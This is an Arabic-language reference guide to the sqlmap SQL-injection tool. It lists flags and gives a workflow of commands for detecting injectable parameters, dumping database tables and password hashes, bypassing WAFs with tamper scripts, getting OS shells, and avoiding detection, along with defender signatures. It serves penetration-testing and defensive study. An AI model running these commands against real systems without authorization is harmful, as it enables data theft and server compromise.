اعرف اللي قصادك. احمي أرضك.

sqlmap

أداة رائدة لأتمتة اكتشاف واستغلال ثغرات حقن SQL، تدعم مجموعة واسعة من أنظمة إدارة قواعد البيانات وتقنيات الحقن.

هجوممفتوحة المصدرLinuxmacOSWindows
sqlmap.org

sqlmap — الدليل الشامل

تعد أداة sqlmap الأداة الأكثر شهرة لأتمتة عمليات اكتشاف واستغلال ثغرات حقن الاستعلامات (SQL Injection) عبر قواعد بيانات متعددة مثل MySQL، PostgreSQL، Microsoft SQL Server، Oracle، SQLite وغيرها الكثير. تدعم الأداة تقنيات الحقن المختلفة مثل: Error-based، Boolean-blind، Time-blind، UNION، و Stacked queries لكل معامل (Parameter). كما تمكن المحلل من سحب قواعد البيانات، قراءة الملفات، وحتى تنفيذ أوامر على مستوى نظام التشغيل (في حال سمح محرك قاعدة البيانات بذلك).

التثبيت (Install)

$ git clone --depth=1 https://github.com/sqlmapproject/sqlmap
$ cd sqlmap && python3 sqlmap.py --version
$
$ apt install sqlmap
$ brew install sqlmap

تحديد الهدف (Target specification)

العلمالغرض
-u <url>الرابط المراد فحصه مع المعاملات
-r <file>طلب HTTP خام (مستخرج من Burp أو curl --trace-ascii)
-l <file>قائمة روابط (سجلات Burp)
-m <file>ملف يحتوي على أهداف متعددة (رابط في كل سطر)
-g <dork>استخدام Google dork للحصول على روابط حية
-c <config>ملف إعدادات بصيغة INI
-X <method>تحديد طريقة طلب HTTP (مثل POST, PUT)
-d <connstring>اتصال مباشر بقاعدة البيانات (مثل mysql://user:pass@host:3306/db)

تحديد نقاط الحقن (Specifying where to inject)

العلمالغرض
-p <param>فحص معاملات محددة فقط (قائمة مفصولة بفاصلة)
--skip <param>تخطي معاملات معينة
--data <body>محتوى طلب POST (مثل a=1&b=FUZZ)
--cookie <c>فحص ملفات تعريف الارتباط (Cookies)
--user-agent <ua>فحص ترويسة User-Agent
--headers "X: Y"إضافة ترويسات إضافية (استخدم \n للفصل)
--auth-typeنوع المصادقة (basic, digest, ntlm, pki)
--auth-credبيانات المصادقة (user:pass)
--proxyتوجيه الطلبات عبر وكيل (مثل Burp http://127.0.0.1:8080)
--torتوجيه الطلبات عبر شبكة Tor
--random-agentاستخدام User-Agent عشوائي
--ignore-code 404عدم اعتبار كود 404 كفشل في الاتصال
--csrf-token / --csrf-urlالتعامل التلقائي مع رموز CSRF
--force-sslفرض استخدام HTTPS
-s <session>استكمال جلسة فحص سابقة

خيارات الاكتشاف (Detection knobs)

العلمالغرض
--level 1..5عمق الفحص: يشمل ملفات الارتباط والترويسات في المستويات الأعلى (الافتراضي 1)
--risk 1..3مستوى الخطورة: المستوى 3 قد يتضمن عمليات UPDATE (خطر على البيانات)
--technique BEUSTQتحديد تقنية الحقن: B(boolean)، E(error)، U(union)، S(stacked)، T(time)، Q(inline)
--prefix / --suffixإضافة بادئة أو لاحقة يدوية لبيانات الحقن
--dbms <name>تحديد نوع قاعدة البيانات لتسريع الفحص وتجاوز مرحلة الاكتشاف
--os <name>تحديد نظام التشغيل
--time-sec <int>ثواني التأخير لفحص Time-based (الافتراضي 5)
--union-cols <range>عدد الأعمدة المراد اختبارها في تقنية UNION
--tamper <scripts>استخدام سكربتات التلاعب (Tamper scripts) لتجاوز جدران حماية تطبيقات الويب (WAF)
--threads <n>عدد الطلبات المتزامنة لسحب البيانات

يرفع خيار --level من عدد النقاط المختبرة (المستوى 5 يختبر الكوكيز، UA، و Referer). أما خيار --risk 3 فيفعل تقنيات تعتمد على OR و Time-based قد تؤدي لتعديل البيانات (يستخدم فقط في البيئات المختبرية أو المصرح بها).

استخراج البيانات (Extraction)

العلمالنتيجة
--current-userاسم مستخدم قاعدة البيانات الحالي
--current-dbاسم قاعدة البيانات الحالية
--hostnameاسم المضيف (Hostname) لخادم قاعدة البيانات
--is-dbaهل المستخدم الحالي لديه صلاحيات المسؤول (DBA)؟
--usersقائمة بكافة مستخدمي قاعدة البيانات
--passwordsسحب هاشات كلمات المرور
--privilegesصلاحيات كل مستخدم
--dbsعرض كافة قواعد البيانات
-D <db>اختيار قاعدة بيانات معينة
--tablesعرض الجداول في قاعدة البيانات المختارة
-T <table>اختيار جدول معين
--columnsعرض الأعمدة في الجدول المختار
-C col1,col2اختيار أعمدة محددة
--dumpسحب سجلات الجدول (Rows)
--dump-allسحب كافة قواعد البيانات المتاحة
--exclude-sysdbsتخطي قواعد بيانات النظام الافتراضية
--start / --stopتحديد نطاق السجلات المراد سحبها
--whereتصفية البيانات المسحوبة (مثل "id < 10")
--searchالبحث عن أعمدة أو جداول في المخطط (Schema)

العمليات على مستوى النظام (OS-level)

العلمالنتيجة
--os-shellالحصول على واجهة أوامر (OS shell) عبر ثغرة الحقن
--os-pwnالحصول على جلسة Meterpreter أو VNC
--os-cmd "id"تنفيذ أمر واحد على نظام التشغيل
--file-readقراءة ملف من خادم قاعدة البيانات
--file-writeرفع ملف إلى الخادم عبر SQL
--reg-read / --reg-addالعمليات على سجلات ويندوز (Registry)
--sql-shellواجهة SQL تفاعلية
--sql-queryتنفيذ استعلام SQL واحد

سير العمل (Workflow)

1. مرحلة الاكتشاف (Detection)

$ sqlmap -u "https://target.com/item?id=1" --batch --random-agent --level 5 --risk 2

خيار --batch يقوم بالإجابة التلقائية على كافة الأسئلة (مفيد للأتمتة والسكربتات).

2. التركيز على المعامل المصاب

$ sqlmap -u "..." --batch -p id --dbms mysql

3. رسم مخطط قاعدة البيانات (Schema Mapping)

$ sqlmap -u "..." --batch -p id --dbs
$ sqlmap -u "..." --batch -p id -D appdb --tables
$ sqlmap -u "..." --batch -p id -D appdb -T users --columns
$ sqlmap -u "..." --batch -p id -D appdb -T users --dump

4. الفحص باستخدام ملف طلب Burp (الأكثر واقعية)

$ sqlmap -r request.txt --batch --level 3 --risk 2 --dbs

من خلال Burp: انقر يميناً على الطلب -> Copy to file -> احفظه باسم request.txt. يمكنك تحديد نقطة الفحص بوضع علامة * (مثل id=1*&...).

5. تجاوز الـ WAF باستخدام سكربتات التلاعب (Tamper)

$ sqlmap -u "..." --batch \
$ --tamper space2comment,between,charunicodeencode,modsecurityzeroversioned \
$ --random-agent --delay 1

لعرض مئات السكربتات المتاحة: python3 sqlmap.py --list-tampers. الخيارات الشائعة:

  • space2comment — يحول المسافات إلى تعليقات: ' OR 1=1-- تصبح '/**/OR/**/1=1--
  • between — يحول علامة = إلى BETWEEN/AND
  • charunicodeencode — ترميز حروف الحمولة (Payload)
  • modsecurityzeroversioned — خدعة لنظام MySQL لتجاوز ModSecurity

تحليل المخرجات (Output Analysis)

[INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[INFO] GET parameter 'id' is 'MySQL >= 5.0.12 AND time-based blind' injectable
[INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

السطر الذي يحتوي على "injectable" هو اكتشافك الرئيسي. تقنية Time-based بمفردها دون ظهور UNION أو Error غالباً ما تشير إلى وجود WAF يحجب جزئياً — يجب التحقق يدوياً.

المشاكل الشائعة والحلول

العرضالسببالحل
all tested parameters do not appear to be injectableنقطة حقن خاطئة أو مفلترةارفع --level؛ استخدم --prefix, --suffix؛ تحقق يدوياً
رسائل connection timed out كثيرةالخادم بطيء أو الـ WAF يحجبأضف --delay 2؛ ارفع --retries؛ قلل عدد الـ threads
نتائج إيجابية خاطئة (False Positive)ضجيج في خوارزمية الاكتشافاستخدم --technique B فقط للتحقق، أو استخدم Burp Repeater
فشل سحب المخطط بعد الاكتشافتم اكتشاف الثغرة ولكن طلبات السحب محجوبةجرب --technique مختلفة (مثل الانتقال من time إلى UNION)

منظور المدافع (Defender's perspective)

تترك sqlmap الكثير من البصمات (Signatures):

  • طلبات متكررة لنفس الرابط مع تغيرات طفيفة في المعاملات.
  • بصمات في الـ WAF: مثل 0x6f7265 (hex 'or')، أو استدعاءات SLEEP( و BENCHMARK(.
  • User-Agent الافتراضي: sqlmap/<version>.
  • فحص Time-based يسبب ارتفاعاً ملحوظاً في وقت استجابة قاعدة البيانات (Latency).

أمن العمليات (OPSEC)

  • استخدم دائماً --random-agent لتجنب كشف الأداة عبر ترويسة UA.
  • سحب البيانات بتقنية Time-based بطيء جداً ومثير للشبهات — كل حرف يستغرق حوالي 5 ثوانٍ. استخدم UNION كلما أمكن.
  • تأكد أن نطاق العمل (Scope) يسمح بسحب البيانات (Dumping) وليس الاكتشاف فقط.
  • خيار --os-shell يقوم بالتعديل على الهدف (كتابة ملفات مؤقتة)؛ تأكد من الحصول على تصريح صريح بذلك.

أدوات ذات صلة

الأداةالتخصص
Burp Repeaterللتحقق اليدوي عند فشل الأداة التلقائية
NoSQLMapلحقن قواعد بيانات NoSQL (مثل MongoDB)
commixلأتمتة ثغرات حقن الأوامر (Command Injection)
xsstrikeلأتمتة فحص واستغلال ثغرات XSS
ghauriبديل أسرع وأحدث لـ sqlmap